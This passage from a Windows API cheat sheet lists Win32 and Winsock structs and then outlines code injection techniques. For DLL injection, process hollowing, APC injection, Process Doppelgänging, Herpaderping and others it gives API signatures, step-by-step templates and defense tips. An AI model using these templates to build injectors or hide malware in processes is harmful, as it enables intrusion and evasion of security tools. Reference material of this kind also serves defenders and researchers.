*LPSYSTEMTIME;\n```\n[**`COORD`**](https://docs.microsoft.com/en-us/windows/console/coord-str)\n```cpp\n// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner.\ntypedef struct _COORD {\n    SHORT X;\n    SHORT Y;\n} COORD, *PCOORD;\n```\n[**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str)\n```cpp\n//  Defines the coordinates of the upper left and lower right corners of a rectangle.\ntypedef struct _SMALL_RECT {\n    SHORT Left;\n    SHORT Top;\n    SHORT Right;\n    SHORT Bottom;\n} SMALL_RECT;\n```\n[**`CONSOLE_SCREEN_BUFFER_INFO`**](https://docs.microsoft.com/en-us/windows/console/console-screen-buffer-info-str)\n```cpp\n// Contains information about a console screen buffer.\ntypedef struct _CONSOLE_SCREEN_BUFFER_INFO {\n    COORD      dwSize;\n    COORD      dwCursorPosition;\n    WORD       wAttributes;\n    SMALL_RECT srWindow;\n    COORD      dwMaximumWindowSize;\n} CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;\n```\n[**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata)\n```cpp\n#include \u003cwinsock.h\u003e\n// Contains information about the Windows Sockets implementation.\ntypedef struct WSAData {\n    WORD           wVersion;\n    WORD           wHighVersion;\n    unsigned short iMaxSockets;\n    unsigned short iMaxUdpDg;\n    char FAR       *lpVendorInfo;\n    char           szDescription[WSADESCRIPTION_LEN+1];\n    char           szSystemStatus[WSASYS_STATUS_LEN+1];\n} WSADATA, *LPWSADATA;\n```\n[**`CRITICAL_SECTION`**]([struct RTL_CRITICAL_SECTION (nirsoft.net)](https://www.nirsoft.net/kernel_struct/vista/RTL_CRITICAL_SECTION.html))\n```c++\n// Represents a critical section object, which is used to provide synchronization access to a shared resource.\ntypedef struct _RTL_CRITICAL_SECTION {\n    PRTL_CRITICAL_SECTION_DEBUG DebugInfo;\n    LONG LockCount;\n    LONG RecursionCount;\n    HANDLE OwningThread;\n    HANDLE LockSemaphore;\n    ULONG_PTR SpinCount;\n} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;\n```\n[**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa)\n```c++\n#include \u003cwinsock2.h\u003e\n// Contains Windows Sockets protocol information.\ntypedef struct _WSAPROTOCOL_INFOA {\n    DWORD          dwServiceFlags1;\n    DWORD          dwServiceFlags2;\n    DWORD          dwServiceFlags3;\n    DWORD          dwServiceFlags4;\n    DWORD          dwProviderFlags;\n    GUID           ProviderId;\n    DWORD          dwCatalogEntryId;\n    WSAPROTOCOLCHAIN ProtocolChain;\n    int            iVersion;\n    int            iAddressFamily;\n    int            iMaxSockAddr;\n    int            iMinSockAddr;\n    int            iSocketType;\n    int            iProtocol;\n    int            iProtocolMaxOffset;\n    int            iNetworkByteOrder;\n    int            iSecurityScheme;\n    DWORD          dwMessageSize;\n    DWORD          dwProviderReserved;\n    CHAR           szProtocol[WSAPROTOCOL_LEN+1];\n} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;\n```\n[**`MSGHDR`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/ns-ws2tcpip-_msghdr)\n```c++\n#include \u003cws2def.h\u003e\n// Contains message information for use with the `sendmsg` and `recvmsg` functions.\ntypedef struct _WSAMSG {\n    LPSOCKADDR       name;\n    INT              namelen;\n    LPWSABUF         lpBuffers;\n    ULONG            dwBufferCount;\n    WSABUF           Control;\n    ULONG            dwFlags;\n} WSAMSG, *PWSAMSG, *LPWSAMSG;\n```\n\n### Win32 Sockets Structs Cheat Sheet (winsock.h)\n[**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr)\n```cpp\n// A generic socket address structure used for compatibility with various address families.\ntypedef struct sockaddr {\n    u_short sa_family;\n    char    sa_data[14];\n} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;\n```\n[**`SOCKADDR_IN`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr_in)\n```cpp\n// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family.\ntypedef struct sockaddr_in {\n    short          sin_family;\n    u_short        sin_port;\n    struct in_addr sin_addr;\n    char           sin_zero[8];\n} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;\n```\n[**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger)\n```cpp\n// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.\ntypedef struct linger {\n    u_short l_onoff;\n    u_short l_linger;\n} LINGER, *PLINGER, *LPLINGER;\n```\n[**`TIMEVAL`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-timeval)\n```cpp\n// Represents a time interval, used with the `select` function to specify a timeout period.\ntypedef struct timeval {\n    long tv_sec;\n    long tv_usec;\n} TIMEVAL, *PTIMEVAL, *LPTIMEVAL;\n```\n[**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set)\n```cpp\n// Represents a set of sockets used with the `select` function to check for socket events.\ntypedef struct fd_set {\n    u_int fd_count;\n    SOCKET fd_array[FD_SETSIZE];\n} fd_set, *Pfd_set, *LPfd_set;\n```\n\n### Win32 Sockets Structs Cheat Sheet (winsock2.h)\n[**`IN_ADDR`**](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-in_addr)\n```cpp\n// Represents an IPv4 address.\ntypedef struct in_addr {\n    union {\n        struct {\n            u_char s_b1, s_b2, s_b3, s_b4;\n        } S_un_b;\n        struct {\n            u_short s_w1, s_w2;\n        } S_un_w;\n        u_long S_addr;\n    } S_un;\n} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;\n```\n\n### Win32 Sockets Structs Cheat Sheet (ws2def.h)\n[**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow)\n```cpp\n#include \u003cws2def.h\u003e\n// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.\ntypedef struct addrinfoW {\n    int             ai_flags;\n    int             ai_family;\n    int             ai_socktype;\n    int             ai_protocol;\n    size_t          ai_addrlen;\n    PWSTR           *ai_canonname;\n    struct sockaddr *ai_addr;\n    struct addrinfo *ai_next;\n} ADDRINFOW, *PADDRINFOW;\n```\n[**`WSABUF`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-wsabuf)\n```cpp\n#include \u003cws2def.h\u003e\n// Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations.\ntypedef struct _WSABUF {\n    ULONG len;\n    __field_bcount(len) CHAR FAR *buf;\n} WSABUF, FAR * LPWSABUF;\n```\n[**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6)\n```cpp\n#include \u003cws2ipdef.h\u003e\n// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.\ntypedef struct sockaddr_in6 {\n    short          sin6_family;\n    u_short        sin6_port;\n    u_long         sin6_flowinfo;\n    struct in6_addr sin6_addr;\n    u_long         sin6_scope_id;\n} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;\n```\n[**`IN6_ADDR`**](https://learn.microsoft.com/en-us/windows/win32/api/in6addr/ns-in6addr-in6_addr)\n```cpp\n#include \u003cin6addr.h\u003e\n// Represents an IPv6 address.\ntypedef struct in6_addr {\n    union {\n        u_char Byte[16];\n        u_short Word[8];\n    } u;\n} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;\n```\n\n# Code Injection Techniques\n\n## 1. DLL Injection\n\nThis technique forces a process to load a malicious DLL.\n\nKey APIs:\n- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)\n  ```c\n  HANDLE OpenProcess(\n    DWORD dwDesiredAccess,\n    BOOL  bInheritHandle,\n    DWORD dwProcessId\n  );\n  ```\n- [`VirtualAllocEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)\n  ```c\n  LPVOID VirtualAllocEx(\n    HANDLE hProcess,\n    LPVOID lpAddress,\n    SIZE_T dwSize,\n    DWORD  flAllocationType,\n    DWORD  flProtect\n  );\n  ```\n- [`WriteProcessMemory`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)\n  ```c\n  BOOL WriteProcessMemory(\n    HANDLE  hProcess,\n    LPVOID  lpBaseAddress,\n    LPCVOID lpBuffer,\n    SIZE_T  nSize,\n    SIZE_T  *lpNumberOfBytesWritten\n  );\n  ```\n- [`CreateRemoteThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)\n  ```c\n  HANDLE CreateRemoteThread(\n    HANDLE                 hProcess,\n    LPSECURITY_ATTRIBUTES  lpThreadAttributes,\n    SIZE_T                 dwStackSize,\n    LPTHREAD_START_ROUTINE lpStartAddress,\n    LPVOID                 lpParameter,\n    DWORD                  dwCreationFlags,\n    LPDWORD                lpThreadId\n  );\n  ```\n- [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)\n  ```c\n  FARPROC GetProcAddress(\n    HMODULE hModule,\n    LPCSTR  lpProcName\n  );\n  ```\n- [`LoadLibrary`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)\n  ```c\n  HMODULE LoadLibraryA(\n    LPCSTR lpLibFileName\n  );\n  ```\n- `NtCreateThread` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtCreateThread(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ProcessHandle,\n    OUT PCLIENT_ID ClientId,\n    IN PCONTEXT ThreadContext,\n    IN PINITIAL_TEB InitialTeb,\n    IN BOOLEAN CreateSuspended\n  );\n  ```\n- `RtlCreateUserThread` (Undocumented)\n  ```c\n  NTSTATUS NTAPI RtlCreateUserThread(\n    IN HANDLE ProcessHandle,\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,\n    IN BOOLEAN CreateSuspended,\n    IN ULONG StackZeroBits,\n    IN OUT PULONG StackReserved,\n    IN OUT PULONG StackCommit,\n    IN PVOID StartAddress,\n    IN PVOID StartParameter OPTIONAL,\n    OUT PHANDLE ThreadHandle,\n    OUT PCLIENT_ID ClientId\n  );\n  ```\n\nTemplate:\n1. Open the target process with `OpenProcess`\n2. Allocate memory in the target process with `VirtualAllocEx`\n3. Write the DLL path to the allocated memory with `WriteProcessMemory`\n4. Get the address of `LoadLibraryA` using `GetProcAddress`\n5. Create a remote thread in the target process with `CreateRemoteThread`, pointing to `LoadLibraryA` pass the address of `LoadLibraryA` as the `lpStartAddress` parameter.\n6. (Optional) Use `NtCreateThread` or `RtlCreateUserThread` for alternative thread creation methods\n\nDetection and Defense:\n- Monitor for suspicious process access and memory allocation patterns\n- Use application whitelisting to prevent unauthorized DLLs from loading\n- Implement process integrity checks\n- Use tools like Microsoft's Process Monitor to detect DLL injection attempts\n  \n## 2. PE Injection\n\nThis technique involves writing and executing malicious code in a remote process or the same process (self-injection). \n\nKey APIs:\n- [`OpenThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread)\n  ```c\n  HANDLE OpenThread(\n    DWORD dwDesiredAccess,\n    BOOL  bInheritHandle,\n    DWORD dwThreadId\n  );\n  ```\n- [`SuspendThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)\n  ```c\n  DWORD SuspendThread(\n    HANDLE hThread\n  );\n  ```\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- [`SetThreadContext`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext)\n  ```c\n  BOOL SetThreadContext(\n    HANDLE        hThread,\n    const CONTEXT *lpContext\n  );\n  ```\n- [`ResumeThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)\n  ```c\n  DWORD ResumeThread(\n    HANDLE hThread\n  );\n  ```\n- `NtResumeThread` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtResumeThread(\n    IN HANDLE ThreadHandle,\n    OUT PULONG PreviousSuspendCount OPTIONAL\n  );\n  ```\n\nTemplate:\n1. Open the target thread with `OpenThread`\n2. Suspend the thread with `SuspendThread`\n3. Allocate memory in the target process with `VirtualAllocEx`\n4. Write the malicious code to the allocated memory with `WriteProcessMemory`\n5. Modify the thread context to point to the injected code with `SetThreadContext`\n6. Resume the thread with `ResumeThread` or `NtResumeThread`\n\nDetection and Defense:\n- Monitor for unusual thread suspension and resumption patterns\n- Implement memory integrity checks\n- Use Endpoint Detection and Response (EDR) solutions to detect suspicious memory modifications\n- Employ runtime process memory scanning techniques\n\n## 3. Reflective Injection\n\nSimilar to PE Injection but avoids using `LoadLibrary` and `CreateRemoteThread`. Involves writing a custom loader that can load a DLL from memory without using the standard Windows loader.\n\nKey APIs:\n- [`CreateFileMapping`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga)\n  ```c\n  HANDLE CreateFileMappingA(\n    HANDLE                hFile,\n    LPSECURITY_ATTRIBUTES lpFileMappingAttributes,\n    DWORD                 flProtect,\n    DWORD                 dwMaximumSizeHigh,\n    DWORD                 dwMaximumSizeLow,\n    LPCSTR                lpName\n  );\n  ```\n- [`MapViewOfFile`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)\n  ```c\n  LPVOID MapViewOfFile(\n    HANDLE hFileMappingObject,\n    DWORD  dwDesiredAccess,\n    DWORD  dwFileOffsetHigh,\n    DWORD  dwFileOffsetLow,\n    SIZE_T dwNumberOfBytesToMap\n  );\n  ```\n- `OpenProcess` (see above)\n- [`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy)\n  ```c\n  void *memcpy(\n     void *dest,\n     const void *src,\n     size_t count\n  );\n  ```\n- `ZwMapViewOfSection` (Documented for kernel-mode)\n  ```c\n  NTSTATUS ZwMapViewOfSection(\n    HANDLE SectionHandle,\n    HANDLE ProcessHandle,\n    PVOID *BaseAddress,\n    ULONG_PTR ZeroBits,\n    SIZE_T CommitSize,\n    PLARGE_INTEGER SectionOffset,\n    PSIZE_T ViewSize,\n    SECTION_INHERIT InheritDisposition,\n    ULONG AllocationType,\n    ULONG Win32Protect\n  );\n  ```\n- `CreateThread` (see CreateRemoteThread above)\n- `NtQueueApcThread` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtQueueApcThread(\n    IN HANDLE ThreadHandle,\n    IN PIO_APC_ROUTINE ApcRoutine,\n    IN PVOID ApcRoutineContext OPTIONAL,\n    IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,\n    IN ULONG ApcReserved OPTIONAL\n  );\n  ```\n- `RtlCreateUserThread` (see above)\n\nAdditional APIs sometimes used:\n- [`VirtualQueryEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex)\n  ```c\n  SIZE_T VirtualQueryEx(\n    HANDLE                    hProcess,\n    LPCVOID                   lpAddress,\n    PMEMORY_BASIC_INFORMATION lpBuffer,\n    SIZE_T                    dwLength\n  );\n  ```\n- [`ReadProcessMemory`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory)\n  ```c\n  BOOL ReadProcessMemory(\n    HANDLE  hProcess,\n    LPCVOID lpBaseAddress,\n    LPVOID  lpBuffer,\n    SIZE_T  nSize,\n    SIZE_T  *lpNumberOfBytesRead\n  );\n  ```\n\nTemplate:\n1. Create a file mapping of the DLL with `CreateFileMapping`\n2. Map a view of the file with `MapViewOfFile`\n3. Open the target process with `OpenProcess`\n4. Allocate memory in the target process with `VirtualAllocEx`\n5. Copy the DLL contents to the allocated memory with `WriteProcessMemory`\n6. Perform manual loading and relocation of the DLL in the target process\n- Parse the PE headers\n- Allocate memory for each section\n- Copy sections to allocated memory\n- Process the relocation table:\n\t- Enumerate relocation entries\n\t- Apply relocations based on the new base address\n- Resolve imports:\n\t- Walk the import directory\n\t- For each imported function, resolve its address using GetProcAddress\n\t- Write the resolved addresses to the IAT\n7. Execute the DLL's entry point using one of the thread creation methods\n\nDetection and Defense:\n- Implement advanced memory scanning techniques to detect injected code\n- Use behavior-based detection to identify suspicious memory allocation patterns\n- Monitor for unusual file mapping operations\n- Employ heuristic-based detection methods to identify reflective loaders\n## 4. APC Injection\n\nThis technique allows code execution in a specific thread by attaching to an Asynchronous Procedure Call (APC) queue.  Works best with alertable threads (those that call alertable wait functions).\n\nKey APIs:\n- [`CreateToolhelp32Snapshot`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot)\n  ```c\n  HANDLE CreateToolhelp32Snapshot(\n    DWORD dwFlags,\n    DWORD th32ProcessID\n  );\n  ```\n- [`Process32First`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)\n  ```c\n  BOOL Process32First(\n    HANDLE           hSnapshot,\n    LPPROCESSENTRY32 lppe\n  );\n  ```\n- [`Process32Next`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next)\n  ```c\n  BOOL Process32Next(\n    HANDLE           hSnapshot,\n    LPPROCESSENTRY32 lppe\n  );\n  ```\n- [`Thread32First`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32first)\n  ```c\n  BOOL Thread32First(\n    HANDLE          hSnapshot,\n    LPTHREADENTRY32 lpte\n  );\n  ```\n- [`Thread32Next`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32next)\n  ```c\n  BOOL Thread32Next(\n    HANDLE          hSnapshot,\n    LPTHREADENTRY32 lpte\n  );\n  ```\n- [`QueueUserAPC`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc)\n  ```c\n  DWORD QueueUserAPC(\n    PAPCFUNC  pfnAPC,\n    HANDLE    hThread,\n    ULONG_PTR dwData\n  );\n  ```\n- `KeInitializeAPC` (Kernel-mode, undocumented)\n  ```c\n  VOID KeInitializeApc(\n    PRKAPC Apc,\n    PRKTHREAD Thread,\n    KAPC_ENVIRONMENT Environment,\n    PKKERNEL_ROUTINE KernelRoutine,\n    PKRUNDOWN_ROUTINE RundownRoutine,\n    PKNORMAL_ROUTINE NormalRoutine,\n    KPROCESSOR_MODE ProcessorMode,\n    PVOID NormalContext\n  );\n  ```\n\nTemplate:\n1. Create a snapshot of the system processes with `CreateToolhelp32Snapshot`\n2. Enumerate processes and threads using `Process32First`, `Process32Next`, `Thread32First`, and `Thread32Next`\n3. Open the target process with `OpenProcess`\n4. Allocate memory in the target process with `VirtualAllocEx`\n5. Write the malicious code to the allocated memory with `WriteProcessMemory`\n6. Queue an APC to the target thread with `QueueUserAPC`, pointing to the injected code\n\nDetection and Defense:\n- Monitor for suspicious APC queue operations\n- Implement thread execution monitoring to detect unexpected code execution\n- Use EDR solutions with capabilities to detect APC abuse\n- Employ runtime analysis to identify unusual thread behavior\n\n## 5. Process Hollowing (Process Replacement)\n\nThis technique \"drains out\" the entire content of a process and inserts malicious content into it. \n\nKey APIs:\n- [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)\n  ```c\n  BOOL CreateProcessA(\n    LPCSTR                lpApplicationName,\n    LPSTR                 lpCommandLine,\n    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    BOOL                  bInheritHandles,\n    DWORD                 dwCreationFlags,\n    LPVOID                lpEnvironment,\n    LPCSTR                lpCurrentDirectory,\n    LPSTARTUPINFOA        lpStartupInfo,\n    LPPROCESS_INFORMATION lpProcessInformation\n  );\n  ```\n- `NtQueryInformationProcess` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL\n  );\n  ```\n- [`GetModuleHandle`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea)\n  ```c\n  HMODULE GetModuleHandleA(\n    LPCSTR lpModuleName\n  );\n  ```\n- `ZwUnmapViewOfSection` / `NtUnmapViewOfSection` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtUnmapViewOfSection(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress\n  );\n  ```\n- `VirtualAllocEx` (see above)\n- `WriteProcessMemory` (see above)\n- [`GetThreadContext`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext)\n  ```c\n  BOOL GetThreadContext(\n    HANDLE    hThread,\n    LPCONTEXT lpContext\n  );\n  ```\n- `SetThreadContext` (see above)\n- `ResumeThread` (see above)\n\nTemplate:\n1. Create a new process in a suspended state using `CreateProcess` with `CREATE_SUSPENDED` flag\n2. Get the process information using `NtQueryInformationProcess`\n3. Unmap the original executable from the process using `NtUnmapViewOfSection` after unmapping the original executable, adjust the image base address in the PEB (Process Environment Block) to point to the new allocated memory.\n4. Adjust the image base address in the PEB:\n- Use `ReadProcessMemory` to read the PEB\n- Locate the `ImageBaseAddress` field\n- Use `WriteProcessMemory` to update it with the address of the newly allocated memory\n5. Allocate memory in the target process with `VirtualAllocEx`\n6. Write the malicious executable to the allocated memory with `WriteProcessMemory`\n7. Update the thread context to point to the new entry point using `GetThreadContext` and `SetThreadContext`\n8. Resume the main thread of the process with `ResumeThread`\n\nDetection and Defense:\n- Implement process integrity checks to detect hollowed processes\n- Monitor for suspicious process creation patterns, especially with the `CREATE_SUSPENDED` flag\n- Use memory forensics tools to identify signs of process hollowing\n- Employ behavior-based detection to identify processes with unexpected memory layouts\n## 6. AtomBombing\n\nA variant of APC injection that works by splitting the malicious payload into separate strings and using atoms. this technique relies on the fact that atoms are shared across processes.\n\nKey APIs:\n- `OpenThread` (see above)\n- [`GlobalAddAtom`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-globaladdatoma)\n  ```c\n  ATOM GlobalAddAtomA(\n    LPCSTR lpString\n  );\n  ```\n- [`GlobalGetAtomName`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-globalgetatomaname)\n  ```c\n  UINT GlobalGetAtomNameA(\n    ATOM   nAtom,\n    LPSTR  lpBuffer,\n    int    nSize\n  );\n  ```\n- `QueueUserAPC` (see above)\n- `NtQueueApcThread` (Undocumented, see above)\n- `NtSetContextThread` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtSetContextThread(\n    IN HANDLE ThreadHandle,\n    IN PCONTEXT ThreadContext\n  );\n  ```\n\nTemplate:\n1. Split the malicious payload into small chunks\n2. For each chunk, use `GlobalAddAtom` to create a global atom\n3. Open the target thread with `OpenThread`\n4. Queue an APC to the target thread with `QueueUserAPC` or `NtQueueApcThread`\n5. In the APC routine, use `GlobalGetAtomName` to retrieve the payload chunks\n6. Assemble the payload in the target process memory\n7. Execute the payload using `NtSetContextThread` or by queuing another APC\n\nDetection and Defense:\n- Monitor for unusual patterns of atom creation and retrieval\n- Implement behavior-based detection for processes accessing a large number of atoms\n- Use EDR solutions with capabilities to detect AtomBombing techniques\n- Employ runtime analysis to identify suspicious APC usage in combination with atom manipulation\n\n## 7. Process Doppelgänging\n\nAn evolution of Process Hollowing that replaces the image before the process is created. this technique leverages the Windows Transactional NTFS (TxF) to temporarily replace a legitimate file with a malicious one during process creation.\n\nKey APIs:\n- [`CreateTransaction`](https://docs.microsoft.com/en-us/windows/win32/api/ktmw32/nf-ktmw32-createtransaction)\n  ```c\n  HANDLE CreateTransaction(\n    LPSECURITY_ATTRIBUTES   lpTransactionAttributes,\n    LPGUID                  UOW,\n    DWORD                   CreateOptions,\n    DWORD                   IsolationLevel,\n    DWORD                   IsolationFlags,\n    DWORD                   Timeout,\n    LPWSTR                  Description\n  );\n  ```\n- [`CreateFileTransacted`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfiletransacteda)\n  ```c\n  HANDLE CreateFileTransactedA(\n    LPCSTR                lpFileName,\n    DWORD                 dwDesiredAccess,\n    DWORD                 dwShareMode,\n    LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n    DWORD                 dwCreationDisposition,\n    DWORD                 dwFlagsAndAttributes,\n    HANDLE                hTemplateFile,\n    HANDLE                hTransaction,\n    PUSHORT               pusMiniVersion,\n    PVOID                 lpExtendedParameter\n  );\n  ```\n- `NtCreateSection` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN ULONG SectionPageProtection,\n    IN ULONG AllocationAttributes,\n    IN HANDLE FileHandle OPTIONAL\n  );\n  ```\n- `NtCreateProcessEx` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtCreateProcessEx(\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ParentProcess,\n    IN ULONG Flags,\n    IN HANDLE SectionHandle OPTIONAL,\n    IN HANDLE DebugPort OPTIONAL,\n    IN HANDLE ExceptionPort OPTIONAL,\n    IN BOOLEAN InJob\n  );\n  ```\n- `NtQueryInformationProcess` (Undocumented, see above)\n- `NtCreateThreadEx` (Undocumented)\n  ```c\n  NTSTATUS NTAPI NtCreateThreadEx(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ProcessHandle,\n    IN PVOID StartRoutine,\n    IN PVOID Argument OPTIONAL,\n    IN ULONG CreateFlags,\n    IN SIZE_T ZeroBits,\n    IN SIZE_T StackSize,\n    IN SIZE_T MaximumStackSize,\n    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL\n  );\n  ```\n- [`RollbackTransaction`](https://docs.microsoft.com/en-us/windows/win32/api/ktmw32/nf-ktmw32-rollbacktransaction)\n  ```c\n  BOOL RollbackTransaction(\n    HANDLE TransactionHandle\n  );\n  ```\n\nTemplate:\n1. Create a transaction using `CreateTransaction`\n2. Create a transacted file with `CreateFileTransacted`\n3. Write the malicious payload to the transacted file\n4. Create a section for the transacted file using `NtCreateSection`\n5. Create a process from the section using `NtCreateProcessEx`\n6. Create a thread in the new process with `NtCreateThreadEx`\n7. Rollback the transaction with `RollbackTransaction` to remove traces of the malicious file\n\nDetection and Defense:\n- Monitor for suspicious transactional NTFS operations\n- Implement file integrity monitoring to detect temporary file replacements\n- Use advanced EDR solutions capable of detecting Process Doppelgänging techniques\n- Employ behavior-based detection to identify processes created from transacted files\n\n## 8. Process Herpaderping\n\nSimilar to Process Doppelgänging, but exploits the order of process creation and security checks. this technique exploits the fact that Windows performs security checks on the executable file before it starts executing the process.\n\nKey APIs:\n- [`CreateFile`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)\n  ```c\n  HANDLE CreateFileA(\n    LPCSTR                lpFileName,\n    DWORD                 dwDesiredAccess,\n    DWORD                 dwShareMode,\n    LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n    DWORD                 dwCreationDisposition,\n    DWORD                 dwFlagsAndAttributes,\n    HANDLE                hTemplateFile\n  );\n  ```\n- `NtCreateSection` (Undocumented, see above)\n- `NtCreateProcessEx` (Undocumented, see above)\n- `NtCreateThreadEx` (Undocumented, see above)\n\nTemplate:\n1. Create a file with `CreateFile`\n2. Write the malicious payload to the file\n3. Create a section for the file using `NtCreateSection`\n4. Overwrite the file content with benign data\n5. Create a process from the section using `NtCreateProcessEx`\n6. Create a thread in the new process with `NtCreateThreadEx`\n\nDetection and Defense:\n- Implement file integrity monitoring to detect rapid changes in executable files\n- Use behavior-based detection to identify processes with mismatched file contents\n- Employ advanced EDR solutions capable of detecting Process Herpaderping techniques\n- Monitor for suspicious patterns of file creation, modification, and process creation\n\n## 9. Hooking Injection\n\nThis technique uses hooking-related functions to inject a malicious DLL. this technique can also be used for API hooking, not just for injection.\n\nKey APIs:\n- [`SetWindowsHookEx`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa)\n  ```c\n  HHOOK SetWindowsHookExA(\n    int       idHook,\n    HOOKPROC  lpfn,\n    HINSTANCE hmod,\n    DWORD     dwThreadId\n  );\n  ```\n- [`PostThreadMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-postthreadmessagea)\n  ```c\n  BOOL PostThreadMessageA(\n    DWORD  idThread,\n    UINT   Msg,\n    WPARAM wParam,\n    LPARAM lParam\n  );\n  ```\n\nTemplate:\n1. Create a DLL containing the hook procedure\n2. Use 